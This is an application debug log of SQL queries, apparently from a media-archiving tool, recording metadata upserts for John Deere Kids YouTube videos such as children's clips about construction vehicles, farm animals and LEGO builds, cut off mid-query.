13:14:10.509 [debug] QUERY OK source="sources" db=15.5ms queue=0.7ms idle=164.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.514 [debug] QUERY OK source="media_items" db=4.2ms queue=0.7ms idle=38.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 13:00:35Z], 6] 13:14:10.529 [debug] QUERY OK source="media_items" db=13.7ms queue=0.1ms idle=43.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["John Deere sends out Bulldozers and Excavators to save the day from disaster! Big construction vehicles are always handy to help move heavy things in your way. What type of equipment would you want to help save the day?\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Bulldozers & Excavators To The Rescue! | John Deere Kids", "746e2003-2cef-4569-a4ee-dbbb55fe8881", 205, false, "PZyi6wOSIs4", "https://www.youtube.com/watch?v=PZyi6wOSIs4", 2, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-05-23 - Bulldozers & Excavators To The Rescue! | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-05-23 13:00:35Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "John Deere sends out Bulldozers and Excavators to save the day from disaster! Big construction vehicles are always handy to help move heavy things in your way. What type of equipment would you want to help save the day?\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Bulldozers & Excavators To The Rescue! | John Deere Kids", 205, false, "PZyi6wOSIs4", "https://www.youtube.com/watch?v=PZyi6wOSIs4", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-05-23 - Bulldozers & Excavators To The Rescue! | John Deere Kids.mp4", false, 6, ~U[2026-05-23 13:00:35Z]] 13:14:10.532 [debug] QUERY OK source="sources" db=2.2ms queue=0.2ms idle=56.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.534 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=41.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 13:01:07Z], 6] 13:14:10.537 [debug] QUERY OK source="media_items" db=2.6ms idle=25.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It's time to learn your colors with construction vehicles! Do you see the yellow vehicles, the orange vests, and red signs?\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Spot the Colors with Construction Vehicles! | John Deere Kids", "9007910e-9dff-46ac-99f1-4908daecdc2e", 191, false, "eeUSQGjuPDw", "https://www.youtube.com/watch?v=eeUSQGjuPDw", 3, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-05-16 - Spot the Colors with Construction Vehicles! | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-05-16 13:01:07Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "It's time to learn your colors with construction vehicles! Do you see the yellow vehicles, the orange vests, and red signs?\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Spot the Colors with Construction Vehicles! | John Deere Kids", 191, false, "eeUSQGjuPDw", "https://www.youtube.com/watch?v=eeUSQGjuPDw", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-05-16 - Spot the Colors with Construction Vehicles! | John Deere Kids.mp4", false, 6, ~U[2026-05-16 13:01:07Z]] 13:14:10.538 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=23.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.540 [debug] QUERY OK source="media_items" db=0.9ms idle=9.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-28 13:00:00Z], 6] 13:14:10.548 [debug] QUERY OK source="media_items" db=7.3ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Let's learn the colors of the rainbow on the John Deere Farm! You may see green crops, yellow flowers, brown horses, and pink pigs. Can you spot the tractors?\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Every Color on the Farm! Learning Colors For Kids | John Deere Kids", "27e22ce0-fd98-4338-b773-ed2e853bf32a", 190, false, "nXTjaiCzzQM", "https://www.youtube.com/watch?v=nXTjaiCzzQM", 4, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-28 - Every Color on the Farm! Learning Colors For Kids | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-03-28 13:00:00Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Let's learn the colors of the rainbow on the John Deere Farm! You may see green crops, yellow flowers, brown horses, and pink pigs. Can you spot the tractors?\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Every Color on the Farm! Learning Colors For Kids | John Deere Kids", 190, false, "nXTjaiCzzQM", "https://www.youtube.com/watch?v=nXTjaiCzzQM", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-28 - Every Color on the Farm! Learning Colors For Kids | John Deere Kids.mp4", false, 6, ~U[2026-03-28 13:00:00Z]] 13:14:10.550 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=15.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.552 [debug] QUERY OK source="media_items" db=1.3ms idle=13.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-21 13:00:28Z], 6] 13:14:10.558 [debug] QUERY OK source="media_items" db=4.9ms idle=14.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi little farmers! These are the cutest goats you'll ever meet! Discover how different goat breeds help on the farm! Some goats make milk πŸ₯›, some grow soft wool 🧢, and some help farmers take care of the land 🌿!", "The CUTEST Goats On The Farm ! | John Deere Kids", "c5c3594f-6ae9-400a-960f-38323b387379", 197, false, "Ev3ZO-gR_p4", "https://www.youtube.com/watch?v=Ev3ZO-gR_p4", 5, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-21 - The CUTEST Goats On The Farm ! | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-03-21 13:00:28Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Hi little farmers! These are the cutest goats you'll ever meet! Discover how different goat breeds help on the farm! Some goats make milk πŸ₯›, some grow soft wool 🧢, and some help farmers take care of the land 🌿!", "The CUTEST Goats On The Farm ! | John Deere Kids", 197, false, "Ev3ZO-gR_p4", "https://www.youtube.com/watch?v=Ev3ZO-gR_p4", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-21 - The CUTEST Goats On The Farm ! | John Deere Kids.mp4", false, 6, ~U[2026-03-21 13:00:28Z]] 13:14:10.560 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=18.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.563 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=13.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-14 14:01:25Z], 6] 13:14:10.571 [debug] QUERY OK source="media_items" db=7.2ms idle=13.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Let's build the LEGO farm collection of John Deere equipment together in stop motion! Which vehicle is your favorite to watch work on the farm?\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n \n / @johndeerekids", "John Deere LEGO Farm Collection | Complete Builds | John Deere Kids", "3470d5c8-89d0-4068-83b5-25c941281169", 133, false, "yawtEZfGPb0", "https://www.youtube.com/watch?v=yawtEZfGPb0", 6, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-14 - John Deere LEGO Farm Collection | Complete Builds | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-03-14 14:01:25Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Let's build the LEGO farm collection of John Deere equipment together in stop motion! Which vehicle is your favorite to watch work on the farm?\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n \n / @johndeerekids", "John Deere LEGO Farm Collection | Complete Builds | John Deere Kids", 133, false, "yawtEZfGPb0", "https://www.youtube.com/watch?v=yawtEZfGPb0", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-14 - John Deere LEGO Farm Collection | Complete Builds | John Deere Kids.mp4", false, 6, ~U[2026-03-14 14:01:25Z]] 13:14:10.574 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=19.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.575 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=16.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-07 14:00:12Z], 6] 13:14:10.584 [debug] QUERY OK source="media_items" db=7.5ms idle=15.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Watch this LEGO logging machine snap together piece by piece in STOP MOTION! This forestry vehicle features a crane and claw ready to grab logs.\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n \n / @johndeerekids", "LEGO John Deere Logging Build! (Stop Motion) | John Deere Kids", "9e4186fa-a899-4352-b6aa-ca3269c21331", 113, false, "9HPUZQmbSvk", "https://www.youtube.com/watch?v=9HPUZQmbSvk", 7, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-07 - LEGO John Deere Logging Build! (Stop Motion) | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-03-07 14:00:12Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Watch this LEGO logging machine snap together piece by piece in STOP MOTION! This forestry vehicle features a crane and claw ready to grab logs.\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n \n / @johndeerekids", "LEGO John Deere Logging Build! (Stop Motion) | John Deere Kids", 113, false, "9HPUZQmbSvk", "https://www.youtube.com/watch?v=9HPUZQmbSvk", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-03-07 - LEGO John Deere Logging Build! (Stop Motion) | John Deere Kids.mp4", false, 6, ~U[2026-03-07 14:00:12Z]] 13:14:10.593 [debug] QUERY OK source="sources" db=3.2ms idle=26.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.595 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=23.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-07 14:01:09Z], 6] 13:14:10.598 [debug] QUERY OK source="media_items" db=2.4ms idle=21.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["HUMONGOUS construction vehicles on the farm! Check out these huge dump trucks, excavators and bull dozers do their jobs! See real loaders, excavators, bulldozers, and dump trucks in action as they move dirt on the job site, set to fun, upbeat music.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : / @johndeerekids", "HUGE Construction Vehicles Working On The Farm! John Deere Kids", "5a384841-592f-414c-9e5f-8d08d7c5086e", 833, false, "hrh8xuVK4Dc", "https://www.youtube.com/watch?v=hrh8xuVK4Dc", 8, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-02-07 - HUGE Construction Vehicles Working On The Farm! John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-02-07 14:01:09Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "HUMONGOUS construction vehicles on the farm! Check out these huge dump trucks, excavators and bull dozers do their jobs! See real loaders, excavators, bulldozers, and dump trucks in action as they move dirt on the job site, set to fun, upbeat music.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : / @johndeerekids", "HUGE Construction Vehicles Working On The Farm! John Deere Kids", 833, false, "hrh8xuVK4Dc", "https://www.youtube.com/watch?v=hrh8xuVK4Dc", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-02-07 - HUGE Construction Vehicles Working On The Farm! John Deere Kids.mp4", false, 6, ~U[2026-02-07 14:01:09Z]] 13:14:10.600 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=23.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.602 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=16.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:01:02Z], 6] 13:14:10.612 [debug] QUERY OK source="media_items" db=8.9ms queue=0.1ms idle=9.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out these huge dump trucks, excavators and bull dozers do their jobs! See real loaders, excavators, bulldozers, and dump trucks in action as they move dirt on the job site, set to fun, upbeat music.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : / @johndeerekids", "Dump Trucks, Bulldozers & Excavators On The Job! John Deere Kids", "14fb9a24-7dde-4009-91f0-1f968eff1aeb", 1266, false, "XRG0Df6ARCs", "https://www.youtube.com/watch?v=XRG0Df6ARCs", 9, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-01-31 - Dump Trucks, Bulldozers & Excavators On The Job! John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-01-31 14:01:02Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Check out these huge dump trucks, excavators and bull dozers do their jobs! See real loaders, excavators, bulldozers, and dump trucks in action as they move dirt on the job site, set to fun, upbeat music.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : / @johndeerekids", "Dump Trucks, Bulldozers & Excavators On The Job! John Deere Kids", 1266, false, "XRG0Df6ARCs", "https://www.youtube.com/watch?v=XRG0Df6ARCs", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-01-31 - Dump Trucks, Bulldozers & Excavators On The Job! John Deere Kids.mp4", false, 6, ~U[2026-01-31 14:01:02Z]] 13:14:10.615 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=18.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.618 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=17.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-24 14:00:53Z], 6] 13:14:10.643 [debug] QUERY OK source="media_items" db=22.9ms idle=18.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Can you figure out the sounds on the farm? Sit back, relax, and listen to the farm come alive. Hear gentle goat sounds, tractors humming, chickens clucking, and a soft blowing breeze across the fields.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Sounds on the Farm 🚜 | John Deere Kids", "84b052f1-0f69-4523-ad24-ab5a194e3af0", 158, false, "_0UbF1B27_k", "https://www.youtube.com/watch?v=_0UbF1B27_k", 10, "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-01-24 - Sounds on the Farm 🚜 | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2026-01-24 14:00:53Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Can you figure out the sounds on the farm? Sit back, relax, and listen to the farm come alive. Hear gentle goat sounds, tractors humming, chickens clucking, and a soft blowing breeze across the fields.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Sounds on the Farm 🚜 | John Deere Kids", 158, false, "_0UbF1B27_k", "https://www.youtube.com/watch?v=_0UbF1B27_k", "/downloads/shows/JohnDeereKids/Season 2026/JohnDeereKids - 2026-01-24 - Sounds on the Farm 🚜 | John Deere Kids.mp4", false, 6, ~U[2026-01-24 14:00:53Z]] 13:14:10.645 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=42.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.648 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=33.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-20 14:00:48Z], 6] 13:14:10.649 [debug] QUERY OK source="media_items" db=1.1ms idle=33.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There's a goat on the loose on the farm! In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, and Janelle race around the farm to stop a goat before it causes too much trouble!\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Farm Emergency: Escaped Goat! | Farming Simulator Kids | John Deere Kids", "0466fdc5-90dc-41d5-9b8b-6f41753cf5b1", 223, false, "NvzJ6AWE5sc", "https://www.youtube.com/watch?v=NvzJ6AWE5sc", 11, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-12-20 - Farm Emergency: Escaped Goat! | Farming Simulator Kids | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-12-20 14:00:48Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "There's a goat on the loose on the farm! In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, and Janelle race around the farm to stop a goat before it causes too much trouble!\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Farm Emergency: Escaped Goat! | Farming Simulator Kids | John Deere Kids", 223, false, "NvzJ6AWE5sc", "https://www.youtube.com/watch?v=NvzJ6AWE5sc", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-12-20 - Farm Emergency: Escaped Goat! | Farming Simulator Kids | John Deere Kids.mp4", false, 6, ~U[2025-12-20 14:00:48Z]] 13:14:10.650 [debug] QUERY OK source="sources" db=0.2ms idle=32.3ms SELECT s0."id", s0."enabled", 